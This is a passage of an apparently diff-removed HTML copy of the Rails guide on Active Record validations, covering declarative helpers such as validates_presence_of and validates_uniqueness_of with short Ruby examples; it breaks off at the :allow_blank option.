- <a href="#_halting_execution">Halting Execution</a>
- </li>
- <li>
- <a href="#_callback_classes">Callback classes</a>
- </li>
- <li>
- <a href="#_observers">Observers</a>
- <ul>
-
- <li><a href="#_registering_observers">Registering observers</a></li>
-
- <li><a href="#_where_to_put_the_observers_source_files">Where to put the observers' source files</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_changelog">Changelog</a>
- </li>
- </ol>
- </div>
-
- <div id="content">
- <h1>Active Record Validations and Callbacks</h1>
- <div id="preamble">
-<div class="sectionbody">
-<div class="paragraph"><p>This guide teaches you how to hook into the lifecycle of your Active Record objects. More precisely, you will learn how to validate the state of your objects before they go into the database as well as how to perform custom operations at certain points in the object lifecycle.</p></div>
-<div class="paragraph"><p>After reading this guide and trying out the presented concepts, we hope that you&#8217;ll be able to:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-Use the built-in Active Record validation helpers
-</p>
-</li>
-<li>
-<p>
-Create your own custom validation methods
-</p>
-</li>
-<li>
-<p>
-Work with the error messages generated by the validation process
-</p>
-</li>
-<li>
-<p>
-Create callback methods to respond to events in the object lifecycle.
-</p>
-</li>
-<li>
-<p>
-Create special classes that encapsulate common behavior for your callbacks
-</p>
-</li>
-<li>
-<p>
-Create Rails Observers
-</p>
-</li>
-</ul></div>
-</div>
-</div>
-<h2 id="_overview_of_activerecord_validation">1. Overview of ActiveRecord Validation</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>Before you dive into the detail of validations in Rails, you should understand a bit about how validations fit into the big picture. Why should you use validations? When do these validations take place?</p></div>
-<h3 id="_why_use_activerecord_validations">1.1. Why Use ActiveRecord Validations?</h3>
-<div class="paragraph"><p>The main reason for validating your objects before they get into the database is to ensure that only valid data is recorded. It&#8217;s important to be sure that an email address column only contains valid email addresses, or that the customer&#8217;s name column will never be empty. Constraints like that keep your database organized and helps your application to work properly.</p></div>
-<div class="paragraph"><p>There are several ways that you could validate the data that goes to the database, including native database constraints, client-side validations, and model-level validations. Each of these has pros and cons:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-Using database constraints and/or stored procedures makes the validation mechanisms database-dependent and may turn your application into a hard to test and maintain beast. However, if your database is used by other applications, it may be a good idea to use some constraints also at the database level. Additionally, database-level validations can safely handle some things (such as uniqueness in heavily-used tables) that are problematic to implement from the application level.
-</p>
-</li>
-<li>
-<p>
-Implementing validations only at the client side can be difficult in web-based applications. Usually this kind of validation is done using javascript, which may be turned off in the user&#8217;s browser, leading to invalid data getting inside your database. However, if combined with server side validation, client side validation may be useful, since the user can have a faster feedback from the application when trying to save invalid data.
-</p>
-</li>
-<li>
-<p>
-Using validation directly in your Active Record classes ensures that only valid data gets recorded, while still keeping the validation code in the right place, avoiding breaking the MVC pattern. Since the validation happens on the server side, the user cannot disable it, so it&#8217;s also safer. It may be a hard and tedious work to implement some of the logic involved in your models' validations, but fear not: Active Record gives you the ability to easily create validations, providing built-in helpers for common validations while still allowing you to create your own validation methods.
-</p>
-</li>
-</ul></div>
-<h3 id="_when_does_validation_happen">1.2. When Does Validation Happen?</h3>
-<div class="paragraph"><p>There are two kinds of Active Record objects: those that correspond to a row inside your database and those that do not. When you create a fresh object, using the <tt>new</tt> method, that object does not belong to the database yet. Once you call <tt>save</tt> upon that object it will be saved into the appropriate database table. Active Record uses the <tt>new_record?</tt> instance method to determine whether an object is already in the database or not. Consider the following simple Active Record class:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Person <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>We can see how it works by looking at some script/console output:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>&gt;&gt; p = Person.new(:name =&gt; "John Doe", :birthdate =&gt; Date.parse("09/03/1979"))
-=&gt; #&lt;Person id: nil, name: "John Doe", birthdate: "1979-09-03", created_at: nil, updated_at: nil&gt;
-&gt;&gt; p.new_record?
-=&gt; true
-&gt;&gt; p.save
-=&gt; true
-&gt;&gt; p.new_record?
-=&gt; false</tt></pre>
-</div></div>
-<div class="paragraph"><p>Saving new records means sending an SQL <tt>INSERT</tt> operation to the database, while saving existing records (by calling either <tt>save</tt> or <tt>update_attributes</tt>) will result in a SQL <tt>UPDATE</tt> operation. Active Record will use these facts to perform validations upon your objects, keeping them out of the database if their inner state is invalid in some way. You can specify validations that will be beformed every time a object is saved, just when you&#8217;re creating a new record or when you&#8217;re updating an existing one.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/caution.png" alt="Caution" />
-</td>
-<td class="content">There are four methods that when called will trigger validation: <tt>save</tt>, <tt>save!</tt>, <tt>update_attributes</tt> and <tt>update_attributes!</tt>. There is one update method for Active Record objects left, which is <tt>update_attribute</tt>. This method will update the value of an attribute <em>without</em> triggering any validation. Be careful when using <tt>update_attribute</tt>, because it can let you save your objects in an invalid state.</td>
-</tr></table>
-</div>
-<h3 id="_the_meaning_of_tt_valid_tt">1.3. The Meaning of <tt>valid</tt></h3>
-<div class="paragraph"><p>To verify whether an object is valid, Active Record uses the <tt>valid?</tt> method, which basically looks inside the object to see if it has any validation errors. These errors live in a collection that can be accessed through the <tt>errors</tt> instance method. The process is really simple: If the <tt>errors</tt> method returns an empty collection, the object is valid and can be saved. Each time a validation fails, an error message is added to the <tt>errors</tt> collection.</p></div>
-</div>
-<h2 id="_the_declarative_validation_helpers">2. The Declarative Validation Helpers</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>Active Record offers many pre-defined validation helpers that you can use directly inside your class definitions. These helpers create validation rules that are commonly used. Every time a validation fails, an error message is added to the object&#8217;s <tt>errors</tt> collection, and this message is associated with the field being validated.</p></div>
-<div class="paragraph"><p>Each helper accepts an arbitrary number of attributes identified by symbols, so with a single line of code you can add the same kind of validation to several attributes.</p></div>
-<div class="paragraph"><p>All these helpers accept the <tt>:on</tt> and <tt>:message</tt> options, which define when the validation should be applied and what message should be added to the <tt>errors</tt> collection when it fails, respectively. The <tt>:on</tt> option takes one of the values <tt>:save</tt> (the default), <tt>:create</tt> or <tt>:update</tt>. There is a default error message for each one of the validation helpers. These messages are used when the <tt>:message</tt> option isn&#8217;t used. Let&#8217;s take a look at each one of the available helpers.</p></div>
-<h3 id="_the_tt_validates_acceptance_of_tt_helper">2.1. The <tt>validates_acceptance_of</tt> helper</h3>
-<div class="paragraph"><p>Validates that a checkbox on the user interface was checked when a form was submitted. This is normally used when the user needs to agree to your application&#8217;s terms of service, confirm reading some text, or any similar concept. This validation is very specific to web applications and actually this <em>acceptance</em> does not need to be recorded anywhere in your database (if you don&#8217;t have a field for it, the helper will just create a virtual attribute).</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Person <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- validates_acceptance_of <span style="color: #990000">:</span>terms_of_service
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>The default error message for <tt>validates_acceptance_of</tt> is "<em>must be accepted</em>"</p></div>
-<div class="paragraph"><p><tt>validates_acceptance_of</tt> can receive an <tt>:accept</tt> option, which determines the value that will be considered acceptance. It defaults to "1", but you can change this.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Person <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- validates_acceptance_of <span style="color: #990000">:</span>terms_of_service<span style="color: #990000">,</span> <span style="color: #990000">:</span>accept <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'yes'</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<h3 id="_the_tt_validates_associated_tt_helper">2.2. The <tt>validates_associated</tt> helper</h3>
-<div class="paragraph"><p>You should use this helper when your model has associations with other models and they also need to be validated. When you try to save your object, <tt>valid?</tt> will be called upon each one of the associated objects.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Library <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- has_many <span style="color: #990000">:</span>books
- validates_associated <span style="color: #990000">:</span>books
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>This validation will work with all the association types.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/caution.png" alt="Caution" />
-</td>
-<td class="content">Don&#8217;t use <tt>validates_associated</tt> on both ends of your associations, because this will lead to several recursive calls and blow up the method calls' stack.</td>
-</tr></table>
-</div>
-<div class="paragraph"><p>The default error message for <tt>validates_associated</tt> is "<em>is invalid</em>". Note that each associated object will contain its own <tt>errors</tt> collection; errors do not bubble up to the calling model.</p></div>
-<h3 id="_the_tt_validates_confirmation_of_tt_helper">2.3. The <tt>validates_confirmation_of</tt> helper</h3>
-<div class="paragraph"><p>You should use this helper when you have two text fields that should receive exactly the same content. For example, you may want to confirm an email address or a password. This validation creates a virtual attribute, using the name of the field that has to be confirmed with <em>_confirmation</em> appended.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Person <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- validates_confirmation_of <span style="color: #990000">:</span>email
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>In your view template you could use something like</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>&lt;%= text_field :person, :email %&gt;
-&lt;%= text_field :person, :email_confirmation %&gt;</tt></pre></div></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">This check is performed only if <tt>email_confirmation</tt> is not nil, and by default only on save. To require confirmation, make sure to add a presence check for the confirmation attribute (we&#8217;ll take a look at <tt>validates_presence_of</tt> later on this guide):</td>
-</tr></table>
-</div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Person <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- validates_confirmation_of <span style="color: #990000">:</span>email
- validates_presence_of <span style="color: #990000">:</span>email_confirmation
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>The default error message for <tt>validates_confirmation_of</tt> is "<em>doesn&#8217;t match confirmation</em>"</p></div>
-<h3 id="_the_tt_validates_exclusion_of_tt_helper">2.4. The <tt>validates_exclusion_of</tt> helper</h3>
-<div class="paragraph"><p>This helper validates that the attributes' values are not included in a given set. In fact, this set can be any enumerable object.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> MovieFile <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- validates_exclusion_of <span style="color: #990000">:</span>format<span style="color: #990000">,</span> <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">in</span></span> <span style="color: #990000">=&gt;</span> <span style="color: #990000">%</span>w<span style="color: #990000">(</span>mov avi<span style="color: #990000">),</span>
- <span style="color: #990000">:</span>message <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"Extension %s is not allowed"</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>The <tt>validates_exclusion_of</tt> helper has an option <tt>:in</tt> that receives the set of values that will not be accepted for the validated attributes. The <tt>:in</tt> option has an alias called <tt>:within</tt> that you can use for the same purpose, if you&#8217;d like to. This example uses the <tt>:message</tt> option to show how you can personalize it with the current attribute&#8217;s value, through the <tt>%s</tt> format mask.</p></div>
-<div class="paragraph"><p>The default error message for <tt>validates_exclusion_of</tt> is "<em>is not included in the list</em>".</p></div>
-<h3 id="_the_tt_validates_format_of_tt_helper">2.5. The <tt>validates_format_of</tt> helper</h3>
-<div class="paragraph"><p>This helper validates the attributes' values by testing whether they match a given pattern. This pattern must be specified using a Ruby regular expression, which is specified using the <tt>:with</tt> option.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Product <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- validates_format_of <span style="color: #990000">:</span>description<span style="color: #990000">,</span> <span style="color: #990000">:</span>with <span style="color: #990000">=&gt;</span> <span style="color: #FF6600">/^[a-zA-Z]+$/</span><span style="color: #990000">,</span>
- <span style="color: #990000">:</span>message <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"Only letters allowed"</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>The default error message for <tt>validates_format_of</tt> is "<em>is invalid</em>".</p></div>
-<h3 id="_the_tt_validates_inclusion_of_tt_helper">2.6. The <tt>validates_inclusion_of</tt> helper</h3>
-<div class="paragraph"><p>This helper validates that the attributes' values are included in a given set. In fact, this set can be any enumerable object.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Coffee <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- validates_inclusion_of <span style="color: #990000">:</span>size<span style="color: #990000">,</span> <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">in</span></span> <span style="color: #990000">=&gt;</span> <span style="color: #990000">%</span>w<span style="color: #990000">(</span>small medium large<span style="color: #990000">),</span>
- <span style="color: #990000">:</span>message <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"%s is not a valid size"</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>The <tt>validates_inclusion_of</tt> helper has an option <tt>:in</tt> that receives the set of values that will be accepted. The <tt>:in</tt> option has an alias called <tt>:within</tt> that you can use for the same purpose, if you&#8217;d like to. The previous example uses the <tt>:message</tt> option to show how you can personalize it with the current attribute&#8217;s value, through the <tt>%s</tt> format mask.</p></div>
-<div class="paragraph"><p>The default error message for <tt>validates_inclusion_of</tt> is "<em>is not included in the list</em>".</p></div>
-<h3 id="_the_tt_validates_length_of_tt_helper">2.7. The <tt>validates_length_of</tt> helper</h3>
-<div class="paragraph"><p>This helper validates the length of your attribute&#8217;s value. It includes a variety of different options, so you can specify length constraints in different ways:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Person <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- validates_length_of <span style="color: #990000">:</span>name<span style="color: #990000">,</span> <span style="color: #990000">:</span>minimum <span style="color: #990000">=&gt;</span> <span style="color: #993399">2</span>
- validates_length_of <span style="color: #990000">:</span>bio<span style="color: #990000">,</span> <span style="color: #990000">:</span>maximum <span style="color: #990000">=&gt;</span> <span style="color: #993399">500</span>
- validates_length_of <span style="color: #990000">:</span>password<span style="color: #990000">,</span> <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">in</span></span> <span style="color: #990000">=&gt;</span> <span style="color: #993399">6</span><span style="color: #990000">..</span><span style="color: #993399">20</span>
- validates_length_of <span style="color: #990000">:</span>registration_number<span style="color: #990000">,</span> <span style="color: #990000">:</span>is <span style="color: #990000">=&gt;</span> <span style="color: #993399">6</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>The possible length constraint options are:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-<tt>:minimum</tt> - The attribute cannot have less than the specified length.
-</p>
-</li>
-<li>
-<p>
-<tt>:maximum</tt> - The attribute cannot have more than the specified length.
-</p>
-</li>
-<li>
-<p>
-<tt>:in</tt> (or <tt>:within</tt>) - The attribute length must be included in a given interval. The value for this option must be a Ruby range.
-</p>
-</li>
-<li>
-<p>
-<tt>:is</tt> - The attribute length must be equal to a given value.
-</p>
-</li>
-</ul></div>
-<div class="paragraph"><p>The default error messages depend on the type of length validation being performed. You can personalize these messages, using the <tt>:wrong_length</tt>, <tt>:too_long</tt> and <tt>:too_short</tt> options and the <tt>%d</tt> format mask as a placeholder for the number corresponding to the length constraint being used. You can still use the <tt>:message</tt> option to specify an error message.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Person <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- validates_length_of <span style="color: #990000">:</span>bio<span style="color: #990000">,</span> <span style="color: #990000">:</span>too_long <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"you're writing too much. %d characters is the maximum allowed."</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>The <tt>validates_size_of</tt> helper is an alias for <tt>validates_length_of</tt>.</p></div>
-<h3 id="_the_tt_validates_numericality_of_tt_helper">2.8. The <tt>validates_numericality_of</tt> helper</h3>
-<div class="paragraph"><p>This helper validates that your attributes have only numeric values. By default, it will match an optional sign followed by a integral or floating point number. Using the <tt>:integer_only</tt> option set to true, you can specify that only integral numbers are allowed.</p></div>
-<div class="paragraph"><p>If you set <tt>:integer_only</tt> to <tt>true</tt>, then it will use the <tt>$$/\A[</tt>\-]?\d+\Z/<tt> regular expression to validate the attribute&#8217;s value. Otherwise, it will try to convert the value to a number using +Kernel.Float</tt>.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Player <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- validates_numericality_of <span style="color: #990000">:</span>points
- validates_numericality_of <span style="color: #990000">:</span>games_played<span style="color: #990000">,</span> <span style="color: #990000">:</span>only_integer <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>Besides <tt>:only_integer</tt>, the <tt>validates_numericality_of</tt> helper also accepts the following options to add constraints to acceptable values:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-<tt>:greater_than</tt> - Specifies the value must be greater than the supplied value. The default error message for this option is "<em>must be greater than (value)</em>"
-</p>
-</li>
-<li>
-<p>
-<tt>:greater_than_or_equal_to</tt> - Specifies the value must be greater than or equal the supplied value. The default error message for this option is "<em>must be greater than or equal to (value)</em>"
-</p>
-</li>
-<li>
-<p>
-<tt>:equal_to</tt> - Specifies the value must be equal to the supplied value. The default error message for this option is "<em>must be equal to (value)</em>"
-</p>
-</li>
-<li>
-<p>
-<tt>:less_than</tt> - Specifies the value must be less than the supplied value. The default error message for this option is "<em>must e less than (value)</em>"
-</p>
-</li>
-<li>
-<p>
-<tt>:less_than_or_equal_to</tt> - Specifies the value must be less than or equal the supplied value. The default error message for this option is "<em>must be less or equal to (value)</em>"
-</p>
-</li>
-<li>
-<p>
-<tt>:odd</tt> - Specifies the value must be an odd number if set to true. The default error message for this option is "<em>must be odd</em>"
-</p>
-</li>
-<li>
-<p>
-<tt>:even</tt> - Specifies the value must be an even number if set to true. The default error message for this option is "<em>must be even</em>"
-</p>
-</li>
-</ul></div>
-<div class="paragraph"><p>The default error message for <tt>validates_numericality_of</tt> is "<em>is not a number</em>".</p></div>
-<h3 id="_the_tt_validates_presence_of_tt_helper">2.9. The <tt>validates_presence_of</tt> helper</h3>
-<div class="paragraph"><p>This helper validates that the specified attributes are not empty. It uses the <tt>blank?</tt> method to check if the value is either <tt>nil</tt> or an empty string (if the string has only spaces, it will still be considered empty).</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Person <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- validates_presence_of <span style="color: #990000">:</span>name<span style="color: #990000">,</span> <span style="color: #990000">:</span>login<span style="color: #990000">,</span> <span style="color: #990000">:</span>email
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">If you want to be sure that an association is present, you&#8217;ll need to test whether the foreign key used to map the association is present, and not the associated object itself.</td>
-</tr></table>
-</div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> LineItem <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- belongs_to <span style="color: #990000">:</span>order
- validates_presence_of <span style="color: #990000">:</span>order_id
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">If you want to validate the presence of a boolean field (where the real values are true and false), you should use validates_inclusion_of :field_name, :in =&gt; [true, false] This is due to the way Object#blank? handles boolean values. false.blank? # =&gt; true</td>
-</tr></table>
-</div>
-<div class="paragraph"><p>The default error message for <tt>validates_presence_of</tt> is "<em>can&#8217;t be empty</em>".</p></div>
-<h3 id="_the_tt_validates_uniqueness_of_tt_helper">2.10. The <tt>validates_uniqueness_of</tt> helper</h3>
-<div class="paragraph"><p>This helper validates that the attribute&#8217;s value is unique right before the object gets saved. It does not create a uniqueness constraint directly into your database, so it may happen that two different database connections create two records with the same value for a column that you intend to be unique. To avoid that, you must create an unique index in your database.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Account <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- validates_uniqueness_of <span style="color: #990000">:</span>email
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>The validation happens by performing a SQL query into the model&#8217;s table, searching for a record where the attribute that must be validated is equal to the value in the object being validated.</p></div>
-<div class="paragraph"><p>There is a <tt>:scope</tt> option that you can use to specify other attributes that are used to limit the uniqueness check:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Holiday <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- validates_uniqueness_of <span style="color: #990000">:</span>name<span style="color: #990000">,</span> <span style="color: #990000">:</span>scope <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>year<span style="color: #990000">,</span>
- <span style="color: #990000">:</span>message <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"Should happen once per year"</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>There is also a <tt>:case_sensitive</tt> option that you can use to define whether the uniqueness constraint will be case sensitive or not. This option defaults to true.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Person <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- validates_uniqueness_of <span style="color: #990000">:</span>name<span style="color: #990000">,</span> <span style="color: #990000">:</span>case_sensitive <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">false</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>The default error message for <tt>validates_uniqueness_of</tt> is "<em>has already been taken</em>".</p></div>
-<h3 id="_the_tt_validates_each_tt_helper">2.11. The <tt>validates_each</tt> helper</h3>
-<div class="paragraph"><p>This helper validates attributes against a block. It doesn&#8217;t have a predefined validation function. You should create one using a block, and every attribute passed to <tt>validates_each</tt> will be tested against it. In the following example, we don&#8217;t want names and surnames to begin with lower case.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Person <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- validates_each <span style="color: #990000">:</span>name<span style="color: #990000">,</span> <span style="color: #990000">:</span>surname <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>model<span style="color: #990000">,</span> attr<span style="color: #990000">,</span> value<span style="color: #990000">|</span>
- model<span style="color: #990000">.</span>errors<span style="color: #990000">.</span>add<span style="color: #990000">(</span>attr<span style="color: #990000">,</span> <span style="color: #FF0000">'Must start with upper case'</span><span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> value <span style="color: #990000">=~</span> <span style="color: #FF6600">/^[a-z]/</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>The block receives the model, the attribute&#8217;s name and the attribute&#8217;s value. You can do anything you like to check for valid data within the block. If your validation fails, you can add an error message to the model, therefore making it invalid.</p></div>
-</div>
-<h2 id="_common_validation_options">3. Common Validation Options</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>There are some common options that all the validation helpers can use. Here they are, except for the <tt>:if</tt> and <tt>:unless</tt> options, which are discussed later in the conditional validation topic.</p></div>
-<h3 id="_the_tt_allow_nil_tt_option">3.1. The <tt>:allow_nil</tt> option</h3>
-<div class="paragraph"><p>The <tt>:allow_nil</tt> option skips the validation when the value being validated is <tt>nil</tt>. You may be asking yourself if it makes any sense to use <tt>:allow_nil</tt> and <tt>validates_presence_of</tt> together. Well, it does. Remember, the validation will be skipped only for <tt>nil</tt> attributes, but empty strings are not considered <tt>nil</tt>.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Coffee <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- validates_inclusion_of <span style="color: #990000">:</span>size<span style="color: #990000">,</span> <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">in</span></span> <span style="color: #990000">=&gt;</span> <span style="color: #990000">%</span>w<span style="color: #990000">(</span>small medium large<span style="color: #990000">),</span>
- <span style="color: #990000">:</span>message <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"%s is not a valid size"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>allow_nil <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<h3 id="_the_tt_allow_blank_tt_option">3.2. The <tt>:allow_blank</tt> option</h3>
